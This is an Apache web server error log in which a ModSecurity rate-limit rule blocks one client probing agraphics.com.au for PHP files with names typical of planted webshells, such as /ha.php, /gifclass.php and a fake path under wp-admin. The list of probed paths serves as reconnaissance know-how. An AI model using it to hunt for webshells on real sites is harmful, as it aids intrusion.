[Thu Jan 08 04:39:20.833195 2026] [:error] [pid 15264:tid 15312] [client 4.194.192.180:7052] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aV7EeIov6_kvS0Owh-pkSgAAAE0"]
[Thu Jan 08 04:39:21.300473 2026] [:error] [pid 15358:tid 15370] [client 4.194.192.180:6945] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ha.php"] [unique_id "aV7EeSoRk9xWJ3toSBKmfQAAAMA"]
[Thu Jan 08 04:39:21.663865 2026] [:error] [pid 15358:tid 15382] [client 4.194.192.180:6943] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ha.php"] [unique_id "aV7EeSoRk9xWJ3toSBKmfgAAAMw"]
[Thu Jan 08 04:39:21.916980 2026] [:error] [pid 15263:tid 15295] [client 4.194.192.180:6924] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ha.php"] [unique_id "aV7Eedv61bxum7WG_e9B8gAAABc"]
[Thu Jan 08 04:39:22.139692 2026] [:error] [pid 15264:tid 15300] [client 4.194.192.180:6789] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ha.php"] [unique_id "aV7Eeoov6_kvS0Owh-pkUgAAAEE"]
[Thu Jan 08 04:39:22.422158 2026] [:error] [pid 15264:tid 15321] [client 4.194.192.180:6864] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gg.php"] [unique_id "aV7Eeoov6_kvS0Owh-pkVQAAAFY"]
[Thu Jan 08 04:39:22.696457 2026] [:error] [pid 15264:tid 15315] [client 4.194.192.180:7030] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gg.php"] [unique_id "aV7Eeoov6_kvS0Owh-pkVwAAAFA"]
[Thu Jan 08 04:39:23.088841 2026] [:error] [pid 15264:tid 15309] [client 4.194.192.180:6921] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gg.php"] [unique_id "aV7Ee4ov6_kvS0Owh-pkWQAAAEo"]
[Thu Jan 08 04:39:23.457955 2026] [:error] [pid 15263:tid 15294] [client 4.194.192.180:6868] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gg.php"] [unique_id "aV7Ee9v61bxum7WG_e9B9wAAABY"]
[Thu Jan 08 04:39:23.705534 2026] [:error] [pid 15358:tid 15387] [client 4.194.192.180:6975] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we2.php"] [unique_id "aV7EeyoRk9xWJ3toSBKmgAAAANE"]
[Thu Jan 08 04:39:23.972204 2026] [:error] [pid 15358:tid 15380] [client 4.194.192.180:6939] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we2.php"] [unique_id "aV7EeyoRk9xWJ3toSBKmggAAAMo"]
[Thu Jan 08 04:39:24.187704 2026] [:error] [pid 15264:tid 15301] [client 4.194.192.180:7009] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we2.php"] [unique_id "aV7EfIov6_kvS0Owh-pkXQAAAEI"]
[Thu Jan 08 04:39:24.463928 2026] [:error] [pid 15358:tid 15373] [client 4.194.192.180:7033] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/we2.php"] [unique_id "aV7EfCoRk9xWJ3toSBKmhAAAAMM"]
[Thu Jan 08 04:39:24.734840 2026] [:error] [pid 15264:tid 15302] [client 4.194.192.180:6934] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/04.php"] [unique_id "aV7EfIov6_kvS0Owh-pkYgAAAEM"]
[Thu Jan 08 04:39:25.198325 2026] [:error] [pid 15265:tid 15329] [client 4.194.192.180:6928] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/04.php"] [unique_id "aV7EfaE6VBKhew2LTFSDegAAAIM"]
[Thu Jan 08 04:39:25.423135 2026] [:error] [pid 15358:tid 15384] [client 4.194.192.180:6870] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/04.php"] [unique_id "aV7EfSoRk9xWJ3toSBKmhgAAAM4"]
[Thu Jan 08 04:39:25.619480 2026] [:error] [pid 15265:tid 15337] [client 4.194.192.180:7024] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/04.php"] [unique_id "aV7EfaE6VBKhew2LTFSDfAAAAIs"]
[Thu Jan 08 04:39:25.862452 2026] [:error] [pid 15358:tid 15382] [client 4.194.192.180:6956] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/333.php"] [unique_id "aV7EfSoRk9xWJ3toSBKmiAAAAMw"]
[Thu Jan 08 04:39:26.529660 2026] [proxy_fcgi:error] [pid 15264:tid 15309] [client 4.194.192.180:6998] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 04:39:26.621356 2026] [proxy_fcgi:error] [pid 15264:tid 15312] [client 4.194.192.180:6998] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 04:39:26.733190 2026] [proxy_fcgi:error] [pid 15264:tid 15304] [client 4.194.192.180:6998] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 04:39:26.823424 2026] [proxy_fcgi:error] [pid 15264:tid 15317] [client 4.194.192.180:6998] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 04:39:26.916394 2026] [proxy_fcgi:error] [pid 15264:tid 15320] [client 4.194.192.180:6998] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 04:39:27.008752 2026] [proxy_fcgi:error] [pid 15264:tid 15301] [client 4.194.192.180:6998] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 04:39:27.101314 2026] [proxy_fcgi:error] [pid 15264:tid 15310] [client 4.194.192.180:6998] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 04:39:27.195304 2026] [proxy_fcgi:error] [pid 15264:tid 15314] [client 4.194.192.180:6998] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 04:39:27.288745 2026] [proxy_fcgi:error] [pid 15264:tid 15316] [client 4.194.192.180:6998] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 04:39:27.378943 2026] [proxy_fcgi:error] [pid 15264:tid 15307] [client 4.194.192.180:6998] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 04:39:27.470509 2026] [proxy_fcgi:error] [pid 15264:tid 15302] [client 4.194.192.180:6998] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 04:39:27.578832 2026] [:error] [pid 15264:tid 15300] [client 4.194.192.180:6998] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files.php"] [unique_id "aV7Ef4ov6_kvS0Owh-pkcwAAAEE"]
[Thu Jan 08 04:39:28.009329 2026] [:error] [pid 15263:tid 15281] [client 4.194.192.180:7127] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files.php"] [unique_id "aV7EgNv61bxum7WG_e9B-gAAAAk"]
[Thu Jan 08 04:39:28.458227 2026] [:error] [pid 15265:tid 15350] [client 4.194.192.180:7054] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files.php"] [unique_id "aV7EgKE6VBKhew2LTFSDfgAAAJg"]
[Thu Jan 08 04:39:28.742460 2026] [:error] [pid 15358:tid 15391] [client 4.194.192.180:6851] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files.php"] [unique_id "aV7EgCoRk9xWJ3toSBKmkgAAANU"]
[Thu Jan 08 04:39:29.048602 2026] [:error] [pid 15265:tid 15343] [client 4.194.192.180:6980] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file7.php"] [unique_id "aV7EgaE6VBKhew2LTFSDgQAAAJE"]
[Thu Jan 08 04:39:29.365024 2026] [:error] [pid 15265:tid 15334] [client 4.194.192.180:7084] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file7.php"] [unique_id "aV7EgaE6VBKhew2LTFSDhAAAAIg"]
[Thu Jan 08 04:39:29.712982 2026] [:error] [pid 15265:tid 15336] [client 4.194.192.180:6966] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file7.php"] [unique_id "aV7EgaE6VBKhew2LTFSDhQAAAIo"]
[Thu Jan 08 04:39:29.934698 2026] [:error] [pid 15358:tid 15384] [client 4.194.192.180:6860] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file7.php"] [unique_id "aV7EgSoRk9xWJ3toSBKmkwAAAM4"]
[Thu Jan 08 04:39:30.141866 2026] [:error] [pid 15358:tid 15386] [client 4.194.192.180:6911] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aV7EgioRk9xWJ3toSBKmlAAAANA"]
[Thu Jan 08 04:39:30.425303 2026] [:error] [pid 15358:tid 15375] [client 4.194.192.180:6871] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aV7EgioRk9xWJ3toSBKmmAAAAMU"]
[Thu Jan 08 04:39:30.852158 2026] [:error] [pid 15263:tid 15293] [client 4.194.192.180:7032] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aV7Egtv61bxum7WG_e9B_AAAABU"]
[Thu Jan 08 04:39:31.179386 2026] [:error] [pid 15265:tid 15332] [client 4.194.192.180:6843] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aV7Eg6E6VBKhew2LTFSDiAAAAIY"]
[Thu Jan 08 04:39:31.494780 2026] [:error] [pid 15358:tid 15380] [client 4.194.192.180:6941] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aV7EgyoRk9xWJ3toSBKmmwAAAMo"]
[Thu Jan 08 04:39:31.755723 2026] [:error] [pid 15358:tid 15387] [client 4.194.192.180:6970] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aV7EgyoRk9xWJ3toSBKmnQAAANE"]
[Thu Jan 08 04:39:31.960078 2026] [:error] [pid 15358:tid 15378] [client 4.194.192.180:6857] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aV7EgyoRk9xWJ3toSBKmnwAAAMg"]
[Thu Jan 08 04:39:32.263267 2026] [:error] [pid 15358:tid 15383] [client 4.194.192.180:7038] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aV7EhCoRk9xWJ3toSBKmoQAAAM0"]
[Thu Jan 08 04:39:32.538030 2026] [:error] [pid 15358:tid 15386] [client 4.194.192.180:6849] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nox.php"] [unique_id "aV7EhCoRk9xWJ3toSBKmpAAAANA"]
[Thu Jan 08 04:39:33.203425 2026] [:error] [pid 15358:tid 15374] [client 4.194.192.180:6920] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nox.php"] [unique_id "aV7EhSoRk9xWJ3toSBKmpgAAAMQ"]
[Thu Jan 08 04:39:33.474253 2026] [:error] [pid 15358:tid 15370] [client 4.194.192.180:6963] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nox.php"] [unique_id "aV7EhSoRk9xWJ3toSBKmpwAAAMA"]
[Thu Jan 08 04:39:34.254837 2026] [:error] [pid 15264:tid 15308] [client 4.194.192.180:6862] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nox.php"] [unique_id "aV7Ehoov6_kvS0Owh-pkdgAAAEk"]
[Thu Jan 08 04:39:34.560180 2026] [:error] [pid 15264:tid 15300] [client 4.194.192.180:6942] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aV7Ehoov6_kvS0Owh-pkeAAAAEE"]
[Thu Jan 08 04:39:34.841767 2026] [:error] [pid 15264:tid 15318] [client 4.194.192.180:6922] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aV7Ehoov6_kvS0Owh-pkegAAAFM"]
[Thu Jan 08 04:39:35.267343 2026] [:error] [pid 15358:tid 15386] [client 4.194.192.180:6856] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aV7EhyoRk9xWJ3toSBKmsAAAANA"]
[Thu Jan 08 04:39:35.795872 2026] [:error] [pid 15263:tid 15296] [client 4.194.192.180:6909] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aV7Eh9v61bxum7WG_e9B_wAAABg"]
[Thu Jan 08 04:39:36.202663 2026] [:error] [pid 15265:tid 15327] [client 4.194.192.180:7064] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aV7EiKE6VBKhew2LTFSDiwAAAIE"]
[Thu Jan 08 04:39:36.727439 2026] [:error] [pid 15263:tid 15288] [client 4.194.192.180:6974] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aV7EiNv61bxum7WG_e9CAQAAABA"]
[Thu Jan 08 04:39:37.417774 2026] [:error] [pid 15263:tid 15281] [client 4.194.192.180:6965] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aV7Eidv61bxum7WG_e9CAgAAAAk"]
[Thu Jan 08 04:39:37.923504 2026] [:error] [pid 15358:tid 15376] [client 4.194.192.180:6912] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aV7EiSoRk9xWJ3toSBKmtwAAAMY"]
[Thu Jan 08 04:39:38.294211 2026] [:error] [pid 15264:tid 15301] [client 4.194.192.180:6854] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class9.php"] [unique_id "aV7Eioov6_kvS0Owh-pkgAAAAEI"]
[Thu Jan 08 04:39:38.792917 2026] [:error] [pid 15264:tid 15308] [client 4.194.192.180:6885] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class9.php"] [unique_id "aV7Eioov6_kvS0Owh-pkhQAAAEk"]
[Thu Jan 08 04:39:39.168431 2026] [:error] [pid 15358:tid 15380] [client 4.194.192.180:6897] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class9.php"] [unique_id "aV7EiyoRk9xWJ3toSBKmuwAAAMo"]
[Thu Jan 08 04:39:39.438650 2026] [:error] [pid 15264:tid 15323] [client 4.194.192.180:7013] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class9.php"] [unique_id "aV7Ei4ov6_kvS0Owh-pkigAAAFg"]
[Thu Jan 08 04:39:39.730000 2026] [:error] [pid 15264:tid 15313] [client 4.194.192.180:6950] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/la.php"] [unique_id "aV7Ei4ov6_kvS0Owh-pkjAAAAE4"]
[Thu Jan 08 04:39:40.318371 2026] [:error] [pid 15358:tid 15383] [client 4.194.192.180:6858] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/la.php"] [unique_id "aV7EjCoRk9xWJ3toSBKmvQAAAM0"]
[Thu Jan 08 04:39:40.762520 2026] [:error] [pid 15358:tid 15382] [client 4.194.192.180:6952] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/la.php"] [unique_id "aV7EjCoRk9xWJ3toSBKmvwAAAMw"]
